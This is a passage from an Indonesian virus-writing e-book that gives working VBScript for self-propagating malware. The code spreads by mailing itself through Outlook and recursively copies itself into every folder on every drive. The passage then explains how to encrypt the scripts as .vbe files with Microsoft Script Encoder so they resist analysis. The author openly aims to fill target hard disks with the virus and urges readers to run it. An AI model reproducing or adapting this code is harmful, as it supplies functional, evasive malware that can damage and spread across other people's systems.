Perintah pada baris ini berfungsi untuk menambahkan attachment email dengan
virus itu sendiri, dimana perintah “WScript.ScriptFullName”
merupakan pengalamatan path dirinya sendiri.
• If ObjEmailItem.To <> "" Then Baris ini merupakan blok pembuka IF…END IF yang akan memeriksa apakah
alamat tujuan tidak kosong, jika tidak maka eksekusi perintah yang berada
didalam blok IF…END IF tersebut.
• ObjEmailItem.Send
Kirim email, ya, pada baris ini virus akan memerintahkan Outlook untuk segera
mengirimkan email beserta dengan atachment virus.
• End If
Merupakan blok penutup IF…END IF dari “If ObjEmailItem.To <> ""
Then”.
• Next
Merupakan blok penutup perulangan FOR…NEXT dari “For I = 1 To
JmlAlamat”.
• End If
Merupakan blok penutup IF…END IF dari “If
Alamat.AddressEntries.Count <> 0 Then”.
• Next
Juga merupakan blok penutup perulangan FOR…NEXT dari “For Each
Alamat In DaftarAlamat”.
• End If
Sama, juga merupakan blok penutup IF…END IF dari “If ObjEmail =
"Outlook" Then”.
47
• End function
Merupakan blok penutup prosedur fungsi “Function InfeksiEmail()”.
4.5 Scan Seluruh Drive, Folder dan Sub-Folder
Pada sub-bab ini akan dijelaskan bagaimana melakukan scan terhadap seluruh drive
dan folder beserta dengan sub-folder-nya (seperti sistem scan pada antivirus).
Teknik ini dapat digunakan untuk menyebarkan virus kita keseluruh drive, folder
dan sub-folder (biar harddisk target jadi penuh dengan virus kita ☺). Ok, perhatikan
script berikut :
Dim FSO
Dim Drive, Drives, Folder, SubFolder, SubFolders
Dim objDaftar
Dim DaftarFolder
On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set Drives = FSO.Drives
For Each Drive in Drives
If Drive.IsReady Then
ScanFolder Drive & "\"
End If
Next
'Simpan Daftar Folder pada "C:\Daftar.txt"
Set objDaftar = FSO.CreateTextFile("C:\Daftar.txt")
objDaftar.Write DaftarFolder
objDaftar.Close
'Beri Konfirmasi Proses Selesai...
MsgBox "Proses Selesai..."
Function ScanFolder(Path)
On Error Resume Next
Set Folder = FSO.GetFolder(Path)
Set SubFolders = Folder.SubFolders
48
For Each SubFolder in SubFolders
DaftarFolder = DaftarFolder & SubFolder & VBCrLf
ScanFolder SubFolder.Path
Next
End Function
Script tersebut diatas akan melakukan scan terhadap setiap drive, folder dan sub-
folder yang berada pada system secara berurutan dari drive pertama sampai drive
terakhir, mendatanya dan menyimpan data daftarnya pada file “C:\Daftar.txt”.
Berikut adalah penjelasan script-nya baris-per-baris :
• Dim FSO
Baris ini merupakan deklarasi variabel bernama “FSO”.
• Dim Drive, Drives, Folder, SubFolder, SubFolders Baris ini merupakan deklarasi variabel dengan nama “Drive”, “Drives”,
“Folder”, “SubFolder”, “SubFolders”.
• Dim objDaftar
Sama seperti sebelumnya, baris ini juga merupaka deklarasi variabel dengan
nama “objDaftar”.
• Dim DaftarFolder
Juga sama, baris ini merupakan deklarasi variabel dengan nama
“DaftarFolder”.
• On Error Resume Next Perintah pada baris ini berfungsi untuk tidak menghiraukan error yang terjadi
dan jika terjadi error maka lanjutkan proses ke baris berikutnya tanpa harus
menghentikan program dan tanpa menyebabkan run-time error.
• Set FSO = CreateObject("Scripting.FileSystemObject")
Baris ini berfungsi untuk mengeset variabel “FSO” sebagai objek
“Scripting.FileSystemObject”.
49
• Set Drives = FSO.Drives
Baris ini berfungsi untuk mengeset variabel “Drives” sebagai objek
“FSO.Drives” yang merupakan fungsi yang dimiliki oleh objek
“Scripting.FileSystemObject” yang telah diwakilkan oleh variabel “FSO”
sebelumnya.
• For Each Drive in Drives
Baris ini merupakan awal dari blok perulangan FOR…NEXT yang berfungsi
untuk mendapatkan setiap drive yang terinstall pada sistem.
• If Drive.IsReady Then Baris ini merupakan blok pembuka IF…END IF yang berfungsi untuk
memeriksa apakah drive siap? Jika siap maka jalankan perintah yang berada
didalam blok IF…END IF tersebut.
• ScanFolder Drive & "\"
Baris ini berfungsi untuk memanggil dan menjalankan fungsi “ScanFolder”
untuk melakukan scan pada drive yang sedang aktif didalam perulangan
FOR…NEXT tersebut. Fungsi “ScanFolder” tersebut berada pada bagian
bawah script.
• End If
Merupakan blok penutup IF…END IF dari “If Drive.IsReady Then”.
• Next
Merupakan blok penutup perulangan FOR…NEXT dari “For Each Drive In
Drives”.
• Set objDaftar = FSO.CreateTextFile("C:\Daftar.txt")
Baris ini berfungsi untuk mengeset variabel “objDaftar” sebagai objek
“FSO.CreateTextFile” yang merupakan fungsi yang dimiliki oleh objek
“Scripting.FileSystemObject” yang telah diwakili oleh variabel “FSO”
sebelumnya, dan sekaligus membuat sebuah file text di “C:\” dengan nama file
“Daftar.txt”.
50
• objDaftar.Write DaftarFolder
Baris ini berfungsi untuk menulis ke file yang sebelumnya telah dibuat
(“C:\Daftar.txt”) dengan daftar folder yang terkandung didalam variabel
“DaftarFolder” dimana variabel tersebut diisi pada fungsi “ScanFolder”.
• objDaftar.Close
Baris ini berfungsi untuk menutup file yang tadi telah dibuat dan ditulis
(“C:\Daftar.txt”). Ingat, Setiap kali anda membuka file jangan lupa untuk
menutupnya.
• MsgBox "Proses Selesai..." Perintah pada baris ini berfungsi untuk menampilkan messagebox sebagai
konfirmasi bahwa script telah selesai dijalankan. Ya, baris ini memang bukan
merupakan baris terakhir pada script akan tetapi baris inilah yang akan
dieksekusi paling terakhir oleh interpreter.
• Function ScanFolder(Path)
Baris ini merupakan blok pembuka fungsi “ScanFolder”. Fungsi ini memiliki
sebuah parameter atau argumen yaitu “Path”, argumen “Path” tersebut
digunakan untuk melewatkan path drive yang akan di-scan folder-nya, misalnya
“C:\” jadi anda dapat memanggil fungsi “ScanFolder” dengan “ScanFolder
"C:\"”.
• On Error Resume Next
Perintah pada baris ini berfungsi untuk tidak menghiraukan error yang terjadi
dan jika terjadi error maka lanjutkan proses ke baris berikutnya tanpa harus
menghentikan program dan tanpa menyebabkan run-time error.
• Set Folder = FSO.GetFolder(Path)
Baris ini berfungsi untuk mengeset variabel “Folder” sebagai objek
“FSO.GetFolder” yang merupakan fungsi yang dimiliki oleh objek
“Scripting.FileSystemObject” yang sebelumnya telah diwakili oleh variabel
“FSO”.
51
• Set SubFolders = Folder.SubFolders
Baris ini berfungsi untuk mengeset variabel “SubFolder” sebagai objek
“Folder.SubFolders” yang merupakan hasil perwakilan dari “FSO.GetFolder”
dari baris sebelumnya.
• For Each SubFolder in SubFolders
Baris ini merupakan awal blok perulangan FOR…NEXT yang berfungsi untuk
mendapatkan daftar folder beserta sub-folder-nya.
• DaftarFolder = DaftarFolder & SubFolder & VBCrLf Baris ini berfungsi untuk menyimpan seluruh daftar folder ke dalam variabel
“DaftarFolder”. Perintah “VBCrLf” pada baris ini memiliki tujuan yang sama
dengan karakter ENTER (untuk pindah ke baris berikutnya).
• ScanFolder SubFolder.Path
Baris ini berfungsi untuk memanggil fungsi “ScanFolder” untuk melakukan
scan terhadap sub-folder. Dengan kata lain memanggil dan memerintahkan
dirinya sendiri (fungsi tersebut sendiri).
• Next
Baris ini meripakan blok penutup FOR…NEXT dari “For Each SubFolder In
SubFolders”.
• End Function Baris ini merupakan blok penutup fungsi “ScanFolder”.
Selanjutnya simpan script tersebut lalu jalankan dan tunggu sampai muncul
tampilan messagebox yang bertuliskan “Proses Selesai…” dan setelah itu coba lihat
pada drive C:\ akan terdapat sebuah file yang bernama “Daftar.txt” yang jika dibuka
akan berisi seluruh daftar folder dan sub-folder yang terdapat pada komputer anda.
Kerenkan… ☺.
Gambar 4.6: Messagebox Konfirmasi Proses Selesai
52
Gambar 4.7: Daftar Folder pada File Daftar.txt
4.6 Infeksi Masal (Infeksi Seluruh Drive, Folder dan Sub-Folder)
Pada sub-bab sebelumnya telah dibahas mengenai cara scan seluruh drive, folder
dan sub-folder, pada sub-bab ini pembahasan tersebut akan dikembangkan sehingga
kita dapat membuat virus yang dapat meng-copy-kan dirinya sendiri ke seluruh
drive, folder dan sub-folder yang berada didalam sistem komputer tersebut.
Algoritmanya adalah sebagai berikut : virus dapat meng-copy-kan dirinya sendiri ke
dalam folder dan sub-folder yang berada diseluruh drive dengan nama file yang
sama dengan nama folder tempat virus tersebut akan di-copy-kan. Script yang
digunakan adalah script yang telah dibahas pada sub-bab sebelumnya hanya saja
ditambahkan sedikit modifikasi. Script yang tercetak dengan warna MERAH
adalah script tambahan ataupun modifikasi, berikut adalah scriptnya :
Dim FSO
Dim Drive, Drives, Folder, SubFolder, SubFolders
On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set Drives = FSO.Drives
For Each Drive in Drives
53
If Drive.IsReady Then
ScanFolder Drive & "\"
End If
Next
ScanFolder "C:\"
'Beri Konfirmasi Proses Selesai...
MsgBox "Proses Selesai..."
Function ScanFolder(Path)
Dim strNamaFolder
On Error Resume Next
Set Folder = FSO.GetFolder(Path)
Set SubFolders = Folder.SubFolders
For Each SubFolder in SubFolders
strNamaFolder = SubFolder
CopyVirus strNamaFolder
ScanFolder SubFolder.Path
Next
End Function
Function CopyVirus(TargetPath)
Dim strPath
On Error Resume Next
strPath = TargetPath
If Right(strPath, 1) <> "\" Then
strPath = strPath & "\"
End If
If Not FSO.FileExists(strPath & NamaFolder(TargetPath) & ".vbs")
Then
54
FSO.CopyFile WScript.ScriptFullName, strPath &
NamaFolder(TargetPath) & ".vbs", TRUE
End If
End Function
Function NamaFolder(TargetFolder)
Dim i
On Error Resume Next
'Hilangkan Tanda BackSlash (\) Pada Nama Folder
If Right(TargetFolder, 1) = "\" Then
TargetFolder = Left(TargetFolder, Len(TargetFolder) - 1)
End If
'Jangan Proses Jika Merupakan Root Drive
If Len(TargetFolder) <= 3 Then
NamaFolder = ""
Exit Function
End If
'Jangan Proses Jika Tidak Memiliki Tanda BackSlash
If InStr(TargetFolder, "\") = 0 Then
NamaFolder = ""
Exit Function
End If
'Dapatkan Nama Folder
For i = 0 to Len(TargetFolder)
If Mid(TargetFolder, Len(TargetFolder) - i, 1) = "\" Then
Exit For
End If
Next
NamaFolder = Right(TargetFolder, i)
End Function
55
Nah… Loh… Panjang banget script-nya… Pokonya perhatikan saja script yang
dicetak dengan warna MERAH, karena script yang dicetak dengan warna BIRU
sudah dibahas pada sub-bab sebelumnya. Untuk lebih memahami algoritma dari
script tersebut coba saja anda copy-kan script tersebut pada notepad dan anda
simpan sebagai file *.vbs lalu anda jalankan, setelah itu periksa setiap folder dan
sub-folder yang terdapat pada harddisk anda.
Ok, mulai bagian ini sampai akhir saya tidak akan memberikan penjelasan seperti
pada script-script sebelumnya, soalnya capek banget sih ☺.
4.7 VBE, File VBScript yang Ter-Encode (Terenkripsi / Tersandi)
Pada bab terdahulu telah dijelaskan mengenai program enkripsi yang bernama
KAVEE (Kefi’s VBS Encryption Engine). Dengan program ini anda dapat dengan
mudah mengenkripsi file-file script VBScript anda sehingga tidak dapat terbaca.
Algoritma yang diterapkan dalam enkripsi tersebut serupa dengan algoritma
enkripsi-enkripsi lainnya yang umum digunakan dalam mengenkrpsi script virus,
seperti virus vbs.redlof misalnya.
Namun model enkripsi tersebut memiliki kelemahan yang menyebabkan orang lain
dapat membaca script yang telah kita buat dan kita enkripsi tersebut. Hal tersebut
dapat terjadi dikarenakan pada script yang sama juga telah terdapat fungsi encoder /
decryptor-nya. Sebagai contoh, misalnya anda menuliskan script sebagai berikut :
MsgBox "Percobaan Enkripsi...", VBInformation, "Informasi"
Dan anda enkripsi menggunakan program KAVEE sehingga (kurang lebih) script
akan tampak seperti berikut :
vhJt = ARrAy( 96 , _
134 , 122 , 85 , 130 , _
139 , 51 , 53 , 99 , 120 ,
133 , 118 , 130 , 117 , 116 , _
56
…
Script Terlalu Panjang, Dipotong
…
FoR Each Fopuf In vhJt
kPaG = kPaG & chr(Fopuf - 19)
neXt
ExECuTe kPaG
Script diatas merupakan script hasil enkripsi yang dilakukan dengan menggunakan
program KAVEE (tidak ditampilkan semua) dan perhatikan pada bagian script yang
tercetak dengan warna MERAH. Script yang tercetak dengan warna MERAH
tersebut merupakan decryptor yang berfungsi untuk menerjemahkan bagian script
yang terenkripsi sehingga dapat dieksekusi.
Mungkin anda bertanya-tanya apa pengaruhnya dan apa yang salah serta dimana
salahnya??? Ceritanya begini, saya mempunyai teman yang bernama Mario yang
tinggal di Wisma Asri Bekasi. Dia terobsesi dengan buku terbitan Jasakom dan
salah satu buku yang dia baca adalah “Pemrograman Virus dan Spyware”
(http://www.jasakom.com/penerbitan) yang juga terbitan Jasakom. Pada buku
tersebut dijelaskan bagaimana cara membaca script yang menggunakan teknik
enkripsi seperti diatas yaitu dengan mengganti perintah “Execute” (yang terdapat
pada baris terakhir dari contoh script diatas) dengan perintah “MsgBox” dan
jalankan script tersebut lalu… ya script tersebut dapat dibaca dan teman saya yang
bernama Mario tadi bangga merasa sudah berhasil memecahkan enkripsi tersebut.
Namun saya terus berkata: “Itu sih model enkripsi anak TK jadi gampang di-crack,
coba lho crack model enkripsi anak SD bikinan gue…”. Terus saya membuat
sebuah script yang sama seperti pada contoh diatas dan saya enkripsi dengan
menggunakan program Script Encoder buatan Microsoft yang hasilnya seperti
berikut :
#@~^OgAAAA==\ko$K6,Jn�D1G4mlUPAxV.bw/b RcJ~,#$q
0KDhlOrKxSPr(x6W.hm/kE0BMAAA==^#~@
57
Lalu saya suruh teman saya yang bernama Mario tadi untuk memecahkan enkripsi
tersebut. Apa yang terjadi, dia Cuma “pelengah-pelengoh” kaya orang bego yang
jadi tambah bego…
Cara membuat enkripsi tersebut adalah dengan menggunakan program yang
bernama Script Encoder yang dapat di-download dari website Microsoft. Program
tersebut tidak hanya dapat mengenkripsi script-script VBScript akan tetapi juga
mampu untuk mengenkripsi script-script ASP, Jscript, dan JavaScript. Namun yang
akan dibahas disini adalah bagaimana melakukan enkripsi script VBScript yang
terdapat pada file *.vbs menjadi script VBScript yang terenkripsi dengan file *.vbe.
Syarat utama yang harus diperhatikan adalah kita akan mengubah file *.vbs menjadi
file *.vbe yang berisi script yang telah terenkripsi. File hasil enkripsi harus memiliki
ekstensi *.vbe agar dapat berjalan, jika tidak script tidak akan berjalan.
Jika anda telah men-download program Script Encoder maka seharusnya anda
akan memiliki sebuah file yang bernama “screnc.exe”. file tersebutlah yang akan
digunakan untuk melakukan enkripsi dan berikut adalah sintaks penggunaannya :
Screnc.exe –l vbscript [file_sumber.vbs] [file_hasil_enkripsi.vbe]
Dari sintaks tersebut, file_sumber.vbs adalah nama file yang ingin dienkripsi dan
file_hasil_enkripsi.vbe adalah nama file output yang akan dihasilkan yang berisi
script yang telah terenkripsi dan diasumsikan kedua file tersebut berada pada folder
yang sama dengan program screnc.exe. Berikut adalah caranya :
Cara Pertama :
1. Masuk ke DOS Prompt dan pindah directory ketempat dimana file “screnc.exe”
berada.
2. Ketikan perintah berikut : screnc –l vbscript file1.vbs file2.vbe
58
Cara Kedua :
1. Klik menu “Start > Run” sehingga tampil dialogbox “Run”.
2. Dengan asumsi file screnc.exe dan file script berada pada root drive C:\, ketikan
perintah berikut : c:\screnc.exe -l vbscript coba.vbs coba2.vbe
59
PENUTUP
Ok, akhirnya sampailah kita pada akhir pembahasan pada e-book ini. Sebenarnya masih
banyak lagi yang ingin penulis sampaikan dalam e-book ini, namun dikarenakan
keterbatasan waktu serta kesibukan penulis sebagai programmer yang banyak menyita
waktu, hal tersebut tidak dapat dilakukan. Mudah-mudahan dilain waktu pembahasan ini
dapat dilanjutkan lagi sampai dengan selesai.
Akhir kata, penulis ingin meminta maaf jika terdapat kata-kata dan tulisan yang kurang
berkenan dihati para pembaca sekalian, dan khususnya untuk teman saya Mario yang
sering saya sebutkan dalam e-book ini, sorry banget, tapikan memang kenyataannya kaya
gitu ☺.
Terakhir, selamat mencoba, tetap semangat belajar, tetap rendah diri, jangan pelit dengan
ilmu, dan jangan pernah takut untuk mencoba serta jangan pernah takut untuk gagal.
Salam dari Solo, Jawa Tengah,
Penulis,
Wahyu Primadi, S.Kom, S.Met
(Penguasa Distrik Solo)
60
DAFTAR PUSTAKA / REFERENSI
1. [K] Website & Article, [K]alamar, http://www.virii.com.ar, Virii Argentina
2003.
2. The Little Black Book of Computer Viruses, Mark A. Ludwig, American Eagle
Publications Inc, ISBN 0-929408-02-0, 22/02/1996.
3. Windows Script Documentation,
http://www.microsoft.com/downloads/details.aspx?FamilyId=01592C48-207D-
4BE1-8A76-1C4099D7BBB9&displaylang=en, Microsoft Corporation, [LAST
UPDATE].
4. Windows Scripting Technologies, http://msdn.microsoft.com/scripting,
Microsoft Corporation, [LAST UPDATE].
5. Understanding The Windows Scripting Host, Julian Moss, PC Support
Advisor, June 1998.
6. Microsoft Script Engines Documentation,
http://www.microsoft.com/scripting/start.htm, Microsoft Corporation.
7. Understanding The Registry, Mike Lewis, PC Support Advisor, May 1999.
8. Windows Registry Guide, http://www.winguides.com, WinGuides, 2002.
61
top related